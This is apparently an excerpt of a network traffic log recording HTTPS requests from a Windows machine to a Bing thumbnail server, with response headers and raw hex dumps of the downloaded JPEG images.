2024-11-26 00:41:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 749395 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3BD63AF683424CF1AA69309DDB13C6AD Ref B: EWR30EDGE1006 Ref C: 2024-11-26T00:41:19Z Date: Tue, 26 Nov 2024 00:41:19 GMT Connection: close
2024-11-26 00:41:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 2e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 35 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 31 38 20 31 34 3a 35 32 3a 35 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``.ExifMM*bj(1r2i``Adobe Photoshop 25.5 (Windows)2024:04:18 14:52:558
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: d3 a1 8a b6 55 24 76 15 a5 34 4d fc 31 d1 1c 52 ff 00 15 4b 93 19 4f ec 9f de aa 9a 84 1e 5c 75 be b1 35 56 d4 2d 3f ef 9a 2e 55 f5 39 86 8a 57 92 a1 b8 d3 ff 00 8a ba 48 ec d2 99 35 9b 55 29 58 69 a3 98 fb 12 b7 cb e5 d3 e3 d3 14 ff 00 b3 5b bf 62 db 4b f6 6d bf 7a ab 99 90 60 b6 97 b7 ee d5 bb 7b 39 7e ed 6a ec 5f bb f7 aa cd bc 09 e6 52 e6 61 a3 2a 59 d9 ce 95 ab 6b 14 ab 53 43 1e da 99 46 df 9a b3 e6 62 d8 6a b4 ab 4e 57 96 99 24 aa 92 7c d4 9f 6b 83 f8 69 74 19 65 69 6a 18 ee 77 55 88 dd 5a 81 72 91 ec a7 6d f6 a9 39 a4 c5 4f 30 58 66 da 5c 54 98 a6 e2 95 c6 37 14 9b 7d aa 4a 5c 51 71 0c 54 a4 c5 3e 97 14 f9 87 6b 91 e2 96 95 aa 29 25 55 a0 39 49 b9 a6 d5 66 b8 6a 45 b9 53 40 72 96 a9 1a a2 59 d6 a2 b8 bb 55 a0 12 25 92 4d b5 0b 4e d5 5d ae 77 51 1b Data Ascii: U$v4M1RKO\u5V-?.U9WH5U)Xi[bKmz`{9~j_Ra*YkSCFbjNW$\|kiteijwUZrm9O0Xf\T7}J\QqT>k)%U9IfjES@rYU%MN]wQ
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 8d 26 7f 32 07 c7 bd 6a c7 61 57 bc 1f a6 69 56 be 0b d0 e4 d3 74 d8 2c 23 ba d2 6d e7 74 b7 45 55 76 75 dc 5b e5 ef 5a 91 c1 15 7a 38 7a 9f ba 89 e2 e2 d2 75 e4 ed 6d 4c 38 6c f6 55 85 b7 dd 5a de 54 5e b4 79 4b fc 35 af 35 cc 39 11 96 d0 6e f9 69 16 cf 75 6a ac 5b 69 fe 5a 54 f3 0f 95 19 91 d8 45 fc 55 27 f6 72 b7 dd ab 92 47 53 47 ba 8e 66 16 b1 97 fd 95 4e fe ca 55 ad 85 a7 51 cc c0 c9 8f 4f 55 a9 a3 b3 5a bf 8a 76 29 5c 08 23 b7 55 a9 16 35 a7 a8 a5 a9 b8 ac 22 8d b4 ec 52 53 a8 b8 58 66 ca 31 4f a2 8b 8f 94 62 8a 7e df 6a 75 14 b9 87 61 31 46 29 68 a3 99 85 88 e4 14 9e 5b 35 4a c6 9b bb de 8e 61 f2 8d 54 6a 91 7e 5a 66 f7 a5 53 ba 95 c3 94 5c d3 b3 42 a5 3b 14 b9 87 62 36 a7 28 a7 62 92 8e 60 b0 51 4b 8a 5a 39 82 c3 68 a7 51 4a e3 b0 da 46 46 a7 d1 Data Ascii: &2jaWiVt,#mtEUvu[Zz8zumL8lUZT^yK559niuj[iZTEU'rGSGfNUQOUZv)\#U5"RSXf1Ob~jua1F)h[5JaTj~ZfS\B;b6(b`QKZ9hQJFF
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: db ff 00 bd f9 57 49 75 a5 fc 34 fb 2c 57 11 78 ce eb 77 95 b9 a2 1a 5b 7d ef fb ea b9 6a e2 69 d2 69 4a 32 f9 45 bf c8 eb a7 96 d6 9e d2 8f de 63 fd ae 06 ff 00 96 94 bf 6c 83 fe 7a 52 e9 e9 e0 5f ed 8b 8f ed 0d 5b 52 fb 2a bf ee 7c 98 17 e7 5f 70 c7 22 a9 c2 7c 2a ba c3 b4 97 f7 d2 d8 ec 6d 88 90 2e ed df f7 d5 68 aa c1 df dd 97 dc cc 5e 0a a2 fb 71 fb cb 7f 6c 83 fe 7a 53 7e dd 6d ff 00 3d 2b 2a fa 3d 21 75 1d b6 ba 94 f2 da b2 33 7f a8 da c9 f2 fa 6e a1 67 f0 e7 d8 7f 79 26 a5 f6 af f6 3c bf 2b ee fe 7f 7b f4 ad bd cb 27 67 af 97 e6 60 f0 f5 13 69 c9 7d e6 af db 60 5f f9 69 4b f6 fb 5f ef d7 3f 34 fa 7b 48 9e 4c 93 aa ff 00 1e fd ad f5 ab 52 5c 78 69 74 7f 96 4d 49 b5 0d ff 00 23 fe ed 62 db e8 7b d5 4a 11 8d b4 64 46 9c e5 7f 79 7d e6 af db a0 ff 00 Data Ascii: WIu4,Wxw[}jiiJ2EclzR_[R\|_p"\|m.h^qlzS~m=+*=!u3ngy&<+{'g`i}`_iK_?4{HLR\xitMI#b{JdFy}
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: cb b7 d6 b9 b0 f5 ab d5 9b 94 e3 ee f6 df a2 36 c4 d1 a3 4f 4a 72 bb fb 8b 57 53 ca fe 4c cb 27 cb f6 85 f9 f7 b6 d7 fa 03 5a 5a 95 c5 e2 5d 4d 0d e4 92 5c 47 6e fe 56 c7 dd b9 3f ef ae 56 b1 56 74 b8 d2 be d9 f7 7c af f5 2f b1 55 93 ff 00 d7 56 ae 35 0d 41 ee e6 d4 b5 09 3e d1 71 78 fb ae 3e 75 f9 fe 5f ee 8f f0 fd 6b 4a 95 13 98 a1 42 7e cf 5e ba 9e 85 e2 c1 a0 ea fe 26 75 5d 97 0d 17 87 6d d7 64 c8 ad b1 8c 2e 5c ff 00 b2 c1 b6 91 81 5c 37 87 f5 78 93 e1 cd dd 8c 96 ff 00 be d9 23 42 f3 6d f9 32 c8 db 90 1f e2 f9 7f 1a d3 f0 fd cf 87 34 9b 87 5b 7b fb eb d9 ae 2d d7 ce d9 6b f2 c2 cf 19 de a3 2c 4b 61 b6 76 e7 9a c0 d6 a4 d4 34 1d 2b 4f d3 6f ad 3e cb 70 df 2d c5 bd c4 1f 37 92 54 7c c5 5b d7 35 e7 e1 60 a3 0f 65 76 d6 96 be 9b 5c e9 c4 3f 7f da 59 27 Data Ascii: 6OJrWSL'ZZ]M\GnV?VVt\|/UV5A>qx>u_kJB~^&u]md.\\7x#Bm24[{-k,Kav4+Oo>p-7T\|[5`ev\?Y'
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 35 b7 f1 08 d8 da df 5f 43 6f e1 e9 ec da d6 e2 18 1e de e1 ff 00 7b db 77 18 e1 89 39 fa 56 d2 8d 9c 69 b9 6b df c9 33 25 14 d3 9a 5a 2e 9e 6c 9f c5 1a 76 91 61 06 99 fd 9f ad 46 db be ce b3 5a 3b f9 b2 a4 85 4b 49 f7 46 dd 81 bd f3 5e 9f f0 df c6 30 78 33 4a 4f 01 f8 ab 45 82 c3 4d d6 ee e4 67 d4 5d 36 f9 31 c9 b1 5b 67 98 a7 e5 5f f7 b8 af 17 f1 64 f6 36 ba 6d a5 ac 3a 17 ef ad 5d 96 e2 e3 7b 33 73 94 56 6f e1 0b b9 d7 f1 fa d6 e7 c5 4f 15 da 78 ab c2 7e 0e f0 af f6 6b da ea 1e 1c dd 04 b2 a4 ea cb 32 be 39 55 c6 7a af 3c 9a c6 bc 1d 78 42 9c ae d5 dd df 6e a9 e8 54 63 1a 53 6d 35 b2 d3 f4 d5 1b de 0f 8f c0 fa 6e bf aa 69 3a 85 ff 00 9b a6 db f9 92 da 5f 3b aa cb 32 a3 7c aa 57 91 b8 af 4d be f5 1c 9a a5 8b f8 aa ee f2 19 ed 52 d5 92 48 2d d1 3e 5f 94 Data Ascii: 5_Co{w9Vik3%Z.lvaFZ;KIF^0x3JOEMg]61[g_d6m:]{3sVoOx~k29Uz<xBnTcSm5ni:_;2\|WMRH->_
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 6d dd b0 be 95 93 e1 bf 11 dd de 24 3e 17 b8 8e 39 55 af a4 fb 0c db d6 26 86 43 27 f7 fb ae dd c3 69 e3 bd 6c ea 4f 73 fe 83 6f 6f 04 eb aa 7d 9e e3 e4 df b9 5f f7 9f 29 5c fe 7d 71 8e 95 ac 23 2a 75 1c 76 fe b7 2a 55 5c e0 a5 db 72 1d 06 de 0d 36 c7 50 b7 6b f8 3e d9 6b ba 74 44 fb dc 2f a7 f7 ab 27 c1 77 17 da 94 89 a8 47 77 1c ba 84 53 34 b2 db fd 97 cd de db be 5c ad 74 7a 1e b7 6d fd 8f ba f2 d2 48 ae bc e9 3f d2 fc 88 fe 79 07 ef 71 b9 87 0d 59 7a 0e bb 14 7e 20 fe da 86 d2 45 56 46 fd cb ce bb 9f 2b f3 1d df cb e5 ad 25 59 45 b4 d6 ac ce 34 6a 54 5c d1 24 d6 bc 3d a8 5c 5d 3c 2d 24 12 cd f6 86 f3 ad 11 16 26 46 db 9e 17 3f 77 e6 a9 34 bf 0b 6b 16 17 50 c9 6e 9f 65 6b 87 f2 36 7c b2 ca ed f7 b6 ec 5c b0 fc ab 72 eb c4 6b 2c f6 f7 51 d8 48 d2 4a 90 Data Ascii: m$>9U&C'ilOsoo}_)\}q#uvU\r6Pk>ktD/'wGwS4\tzmH?yqYz~ EVF+%YE4jT\$=\]<-$&F?w4kPnek6\|\rk,QHJ
2024-11-26 00:41:20 UTC	16067	IN	Data Raw: b6 a5 71 2c 8d 6f 0c d0 69 2a bc c9 11 c6 f7 45 c3 6d 8e 96 3f 88 fe 07 ff 00 84 89 e3 bc d4 bc 63 70 cc f2 69 f7 09 77 a2 69 73 b2 79 99 8f c9 8f 62 8f e2 fa ad 79 4f 82 f4 eb 1f 12 eb 8f 71 e2 cf 10 d8 e9 d6 f6 16 ff 00 e8 ef 69 e5 c4 ce cd fe cb b2 8f c7 e6 ad 0d 36 db 48 b7 b1 b8 54 d5 ad 17 49 b5 d2 7e d3 73 70 f6 b6 b3 de 7d a9 97 94 55 67 e6 1c ed 01 be f2 ef ae 17 4a 9a 6a 37 d5 5b fa bd b5 3e d2 58 58 34 fd dd 3d 3f e0 9d bf c4 0f 02 78 86 5f 17 78 46 2f 03 78 6b ed 9a 4e 8d e7 2d c2 6a 96 5a 4f f1 c9 b4 7c ab 22 f9 ff 00 46 23 1d aa 9d f7 c3 af 19 f8 27 e2 dd a4 da 37 84 ee 9b c2 fa 95 a5 b6 95 a8 ea 37 7e 1a b5 96 58 77 ae 1d 96 04 72 19 ce 7e f5 78 56 bd e1 fd 72 0f 11 db ff 00 c2 3b 1c fa 94 77 88 d3 da 23 bb 6e 75 dd 22 f0 b9 c3 fd c6 e5 32 Data Ascii: q,oi*Em?cpiwisybyOqi6HTI~sp}UgJj7[>XX4=?x_xF/xkN-jZO\|"F#'77~Xwr~xVr;w#nu"2
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: f9 97 d0 5d 32 da db f9 56 93 4d 3f cc f1 86 fd d8 d9 83 b7 fd dd df 8d 71 e1 f0 8d 4e 35 2a e9 cb d9 3d 7c f6 3a 25 2b 36 a1 ef 5f 5d d2 b7 de 7d a9 f0 d7 c0 96 be 30 f8 2b a0 df 9f 91 be d1 34 a1 d3 77 fa b7 c7 a6 7f b9 56 3c 23 e0 54 b6 f8 1f a9 cd ff 00 2d 3f b3 b5 38 b6 7f db 49 36 d7 9a 7c 31 d6 ae 74 df 87 36 30 f8 07 c5 1f 6f d3 76 79 93 25 dc ed 6d 2c 37 0c df bc 85 53 3d 15 bb d5 1b 1f 17 78 de d3 e1 ee a1 a6 5b dd 4d f6 39 bc e5 95 fe d5 ea df 3d 73 d5 cb a5 3a f2 a8 a4 ac fa 5f b7 97 43 b2 9d 69 fb 25 07 7d 1f 6e f7 3b dd 73 e1 5a 5a 6a 5e 16 ba f3 3f e3 e3 51 b0 57 4f fb 66 33 ff 00 a0 d7 4b a5 fc 2f b5 b2 f8 85 69 6e d0 47 e5 c9 a1 de a7 fa b5 fb cd 24 7f e7 9a f2 5d 73 c7 5e 30 97 46 d1 22 6b ed 45 da d6 58 67 5f 9d be f2 2f cb 57 6f 3e 2d Data Ascii: ]2VM?qN5*=\|:%+6_]}0+4wV<#T-?8I6\|1t60ovy%m,7S=x[M9=s:_Ci%}n;sZZj^?QWOf3K/inG$]s^0F"kEXg_/Wo>-
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 32 d7 86 c3 e3 7d 4f 42 f8 6a f6 b6 b2 58 dd 47 e2 3f b4 58 dd cd 34 0a cc 91 ee dd f2 7f 71 be 5a f5 bf d9 54 ff 00 c5 1b 6e d2 5a 41 70 bf 64 5f dc cd b7 6b fc a7 fb cc a3 ff 00 1e ac 71 2a aa a1 3d 76 5a 7e 1e 4b 53 4a 0e 12 af 1d 37 67 57 f1 5f c0 de 0e f0 16 97 e1 ff 00 10 78 77 45 93 4d d4 1a 29 19 e6 b7 9e ea 29 66 f9 7a 87 d9 f2 b7 d3 1e f5 e0 5f 11 b4 6d 43 54 be 9a fa c7 cb fb 3d 9c 2c d7 13 3b fc c9 fc 5f 3f e7 f8 d7 d3 9e 34 f8 6e be 22 93 c3 36 37 1a cc f6 f0 cb a4 c8 df e8 90 2f c9 85 8f e5 d9 f6 8f f0 af 9b 3e 23 41 e2 1f 0d 5d 4b a6 ea 96 1a e5 ae 8b 7f 32 ca 89 e7 c9 04 17 aa 99 56 f5 0e c7 d7 27 1e f4 b2 7a d5 5c 75 95 e7 e7 ae 97 7a 22 f1 b4 e9 26 d2 56 8f 97 72 87 85 f5 bd 42 c2 d6 de d6 cf 5a 81 6d 57 f7 b7 68 93 ed 54 6f bb f3 29 1f Data Ascii: 2}OBjXG?X4qZTnZApd_kq*=vZ~KSJ7gW_xwEM))fz_mCT=,;_?4n"67/>#A]K2V'z\uz"&VrBZmWhTo)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49727	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	375	OUT	GET /th?id=OADD2.10239351692183_1GSWAYG616F8PFDNZ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 00:41:19 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 878990 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5F9FB18F851F455A9E5F1E84C4E6DBD7 Ref B: EWR311000104051 Ref C: 2024-11-26T00:41:19Z Date: Tue, 26 Nov 2024 00:41:19 GMT Connection: close
2024-11-26 00:41:19 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 20 28 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 36 3a 32 38 20 31 31 3a 31 31 3a 30 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF`` (ExifMM*bj(1r2i``Adobe Photoshop 21.1 (Windows)2022:06:28 11:11:068
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: d5 1e 85 1a 14 63 04 e2 fd ee 85 3d 2b fd 23 cb 7a eb ec 6d a4 8b f7 1f f3 ce ab e8 7a 7c 1f bb 7f f9 67 ff 00 3c eb b0 b5 81 3e fd 79 58 cc 42 bd a2 7b f9 7e 11 c6 17 6f 53 26 3d 2a 3b 88 77 bf fd b3 ab d1 c1 b2 1f 21 ea c5 f2 fe e7 e4 aa 11 b4 9f 6b f9 2b 81 49 cd 6a 7a 7c b1 83 d8 ce d7 34 18 e5 f2 de 3a af fd 87 1a 7d ca ea 36 f9 b0 d5 7d b1 a5 69 1c 45 44 ad 73 29 61 29 39 39 5b 73 83 93 43 91 f5 0f 93 fd 5d 5a 93 48 fb 3f cf 5d 74 76 db e6 de 94 47 14 7f ea df fd 5d 74 bc 64 e5 63 8e 39 7d 28 df 43 8d ba b3 4b 8b 4f f9 e7 24 75 97 e4 49 5e 81 7d a6 5a 5c 7c f0 7f ac 8e b2 6f b4 af f4 4d 89 fb b9 3f e5 a5 74 51 c5 45 ab 1c 98 9c bd fc 4b 53 9c b1 f3 3c ed f5 bd a6 b7 f0 3f ee e9 9a 6e 87 1b cd bd 3f 79 45 d2 c9 69 36 c7 ff 00 96 75 a5 49 c6 a3 b4 59 Data Ascii: c=+#zmz\|g<>yXB{~oS&=*;w!k+Ijz\|4:}6}iEDs)a)99[sC]ZH?]tvG]tdc9}(CKO$uI^}Z\\|oM?tQEKS<?n?yEi6uIY
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: ef f3 3a 27 4e 3e dd c6 0d 69 ae 9f d7 43 be d3 7f b5 af 74 98 d3 c9 9a ca ea 3d f1 dc c7 6d 16 cf 2f f8 37 ab ee f9 a9 ba e7 88 ff 00 b3 f4 39 34 1f 15 f8 6e ef 51 9e f6 d9 e3 92 e6 c7 7b cd bf 66 d6 f7 fb 95 c2 f8 0f e2 0f 8c 2e 3c 41 1d ad ae a5 35 ec 7a 8e fb 7f 32 e6 2d 97 3e 52 ec 6f bd d1 7f 82 bb 0b 5b c8 f5 df ed 2f b2 cd a8 5c 4f 6f fe 8f 27 df 49 ad ff 00 bc aa ff 00 c7 54 f0 b3 8b e5 ab d0 f4 e9 e3 23 52 17 a6 9a 7b 34 c7 4f 7d a2 ea 7e 21 8f c3 50 79 32 5a c7 64 ff 00 bb 96 5d 9f 79 36 6c 6f fd 08 57 1b f1 42 cf 52 f0 7f 89 ed b5 bf 0f 5e 5d c7 69 6f 22 79 71 dc ca ef ff 00 00 f9 bf 86 bd 63 ec 3a 4d dc 3f d9 1f ea e7 8e d9 24 d3 6f 65 ff 00 5d fe d7 bd 79 7f c5 3f ed 96 b5 fe c8 d6 ef 2e e4 8e ca 59 ae 23 bd b6 f9 d3 cd d9 b2 38 df fb bb 57 Data Ascii: :'N>iCt=m/794nQ{f.<A5z2->Ro[/\Oo'IT#R{4O}~!Py2Zd]y6loWBR^]io"yqc:M?$oe]y?.Y#8W
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 6d cf f0 55 ef 36 b9 88 2e 64 ad 1b 5b c9 1f ef d7 2d 5a 0d 33 b2 8d 74 d5 99 b3 ba 3a 8a e2 b2 e4 bc f2 aa 58 ef 11 eb 1f 64 ce 88 d6 83 1b 7d 16 fa cd 9e ce ae 5f 6a 11 c5 f2 55 5f ed 28 2b 68 46 69 6c 73 d4 a9 49 bd 59 8f ac 2c 9e 4e ca cb 9f e7 ad 8d 56 58 2e 21 93 65 64 ed af 4a 8d f9 6c cf 1f 13 67 3b a2 be da 6c 8b 56 36 9a 64 8b 5b a7 63 93 94 8a 8f b9 4e db 46 da b2 07 c6 db 28 76 a6 6d a3 6d 4f 28 ef a1 af a5 2e c8 77 d6 a4 73 ec 8b e7 ac bb 1f 31 2d 2a 5f 37 64 3b e7 ae 2a 90 e6 91 e9 d1 9a 84 12 1d a9 4b e7 43 f2 56 24 8b b2 6a 7c f3 c8 f3 53 37 6f fb f5 d3 08 38 a3 86 bd 65 51 ea 3d 2a 48 e5 a8 79 a4 8e b4 e5 4c 88 c9 a6 6b f9 f5 5e 79 f7 d4 1e 6d 32 3a c6 30 57 36 95 57 25 a1 2c 75 3c 6d fb 9a a3 be 4a 9f fe 59 d3 94 6e 14 e7 a9 63 cd ad 1b Data Ascii: mU6.d[-Z3t:Xd}_jU_(+hFilsIY,NVX.!edJlg;lV6d[cNF(vmmO(.ws1-_7d;KCV$j\|S7o8eQ=*HyLk^ym2:0W6W%,u<mJYnc
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 3a 29 d4 f6 24 6e da 73 ac 94 54 c9 48 a5 12 bd 15 2c 9f 3d 33 6d 03 6a cc 8e 45 a3 69 a9 36 d3 76 d3 b9 03 76 9a 36 9a 76 da 36 d3 01 bb 4d 1b 4d 3b 6d 3b 6d 48 0d db 56 23 8b 65 32 05 df 57 e3 b3 8d ff 00 e5 b5 4b 92 46 b4 e9 b9 5f 41 b6 36 de 6f df ad 18 e7 8e de 1d 9e 4f ef 2a 5b 1b 39 1e 1d 8f 5a d6 b6 30 3c 3b 1f f7 95 c3 52 b4 5b d4 f5 f0 f8 69 db 4d 0e 76 f9 a4 fb ef 4e b5 8a 37 87 7b d6 cb d9 c6 93 79 0f ff 00 2d 2b 3a 7b 6f f9 61 5a 46 a2 6a c6 55 28 ce 2f 9b 70 d3 6f 3c a9 a3 4a eb 2c 60 8e e3 e7 7a e4 ec 62 8d 2b a2 f0 ac f2 3c db 1f fd 5d 73 62 e2 ed 78 f4 3b 30 12 7a 29 f5 26 d4 a0 8d 3e 4a e7 af 96 48 bc c4 7a eb 75 c5 8f ef d6 1e b1 6d f6 8f 29 eb 2c 3c f6 b9 be 2a 9d ef 63 06 36 d9 35 58 db 27 df fe 0a 72 41 1a 4d 56 bc f8 ed fe 4a ed 94 Data Ascii: :)$nsTH,=3mjEi6vv6v6MM;m;mHV#e2WKF_A6oO[9Z0<;R[iMvN7{y-+:{oaZFjU(/po<J,`zb+<]sbx;0z)&>JHzum),<c65X'rAMVJ
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: f6 08 ed a6 92 3b 69 62 f9 24 f9 0f dd f9 bf bd 4a 97 b4 e6 6a d6 b7 e2 5d 67 46 d1 b3 bb 7b eb b1 c6 7c 72 f0 fc 7a 4c df db da 7c 3f 67 8e de 4f de f9 7f 73 e6 fb bf fa 15 72 1a 1f 8a bc 4f 69 77 14 e9 77 1c 77 76 f1 f9 71 c9 e5 3c bf 27 f1 57 b7 f8 ab c3 8f e3 5f 01 dc c9 6b 79 0c 77 57 12 f9 91 fd 9a 57 d9 bd 9f f7 7f eb 78 5c b5 78 bf c3 3d 3f 5a 9b c4 da b6 90 86 6b 7b e8 f4 e9 ad 3f d5 7f 1e fd be 5b ed f5 af 46 9d 65 28 b4 d6 c7 85 8a c0 b8 d6 8c e3 d7 5b 9e 9f e0 df 89 1a 34 57 71 cf e2 19 a1 b7 fe d5 b6 fd ed cc 5b ff 00 d6 c7 fe ad bf d8 fb 89 5c e7 8b 62 9e ef c6 fa b6 a9 1e 8f 35 cf 87 2f 63 fb 5c 77 bf 7d 23 b7 fb 9b 9d ff 00 bd eb 4b f1 5f c0 36 36 3e 2c b1 b2 d0 66 fb 15 ae a3 6d 0c 7f f4 c6 3b 85 f9 25 f9 7f da fb ff 00 2f f7 2b 6b e0 9d Data Ascii: ;ib$Jj]gF{\|rzL\|?gOsrOiwwwvq<'W_kywWWx\x=?Zk{?[Fe([4Wq[\b5/c\w}#K_66>,fm;%/+k
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: e4 f7 d2 f9 52 ec 4f f9 67 5f 63 85 ab 09 d0 8d 45 b5 8f 84 c6 51 94 31 13 a3 24 b4 7d 36 2d 5d 5b dd ad af da 9e 19 bc 8f f9 e9 4f f0 94 0f 2c 97 0f ff 00 3d 3e 48 fc cf fc 7a 8f 0c eb 4f a7 cd e4 09 7f eb 9d 6f 47 79 a5 5d c3 f6 ab ab 38 6d e4 f2 ff 00 d6 58 cb b3 cb 6f f6 92 ae 32 52 92 91 cd 51 4d 41 c2 c6 1e a8 d3 dd b4 96 bf 64 f3 1e 3f f9 67 5c fd bc ae ba 94 8e 9f bb ae df 4e b2 f3 ae ff 00 7d 77 0f 91 e6 7f ac 96 5f 2b 65 63 78 f3 44 93 4d d4 3c f8 62 ff 00 45 b8 e9 27 f0 52 95 48 49 f2 a9 2b ae 9d 47 84 a9 1d 61 6d c7 69 7f 65 bd 86 47 83 ce f3 2d ff 00 e5 9f 95 be ba 09 24 82 df cb 9f 4b f2 7f d2 64 48 e4 f2 bf e5 de 5f f7 6b 98 f0 9d 8a 3e a1 89 26 9a de 39 23 f3 2e 3c af bf b6 ba 98 2e 6c 25 b4 f9 3f 79 07 fc f3 fe 3f 97 f8 ab 9f dd bd 9a 3b Data Ascii: ROg_cEQ1$}6-][O,=>HzOoGy]8mXo2RQMAd?g\N}w_+ecxDM<bE'RHI+GamieG-$KdH_k>&9#.<.l%?y?;
2024-11-26 00:41:20 UTC	16067	IN	Data Raw: d4 31 47 25 64 fd 85 fc df 39 3c af de 51 cd cc 8a d2 12 6a 4a cc d4 f0 b6 97 71 a8 49 20 f3 fe c7 18 8d 3c c9 25 8b 7f ca df 2d 7d 31 e0 7b 39 35 0d 26 c6 7d 46 f3 cc 92 3b 2f b3 c9 1c bf f2 d3 fd aa f9 f7 c3 3e 20 7d 12 68 de e6 cf cd 8f fe 5a 79 9f c1 b6 bd 7f e1 47 88 20 ba f0 cf 9c 66 fb 34 97 12 ef 8f cd 97 e4 ff 00 b6 75 e3 e6 d0 ad ca 9a e8 7d 3f 0f 54 c3 5e 49 a7 cd 6b b3 13 f6 91 d1 74 db 2f 0d d8 bc 13 79 97 71 ca f1 c5 f7 37 f9 5f dd af 0b 8d ab ea 0d 4b 5c f0 d6 a7 ab 47 a7 6a 93 68 76 f3 fc f2 47 1d f4 5b fe 4a f3 cd 53 e1 3a 5e ff 00 a6 e8 fa 96 9f 71 3d c5 ec d1 ff 00 72 db 6f df 5d 9b 7e ed 56 07 10 a1 4f 92 aa b7 99 9e 6b 81 9d 6a ce ad 1b 3e 96 5e 47 93 da dc f9 57 71 3f fa bf de 7f ac af 7d fd 9f 56 3b 7d 3f 52 b2 f3 bf 7f e6 3f 9b 1f Data Ascii: 1G%d9<QjJqI <%-}1{95&}F;/> }hZyG f4u}?T^Ikt/yq7_K\GjhvG[JS:^q=ro]~VOkj>^GWq?}V;}?R?
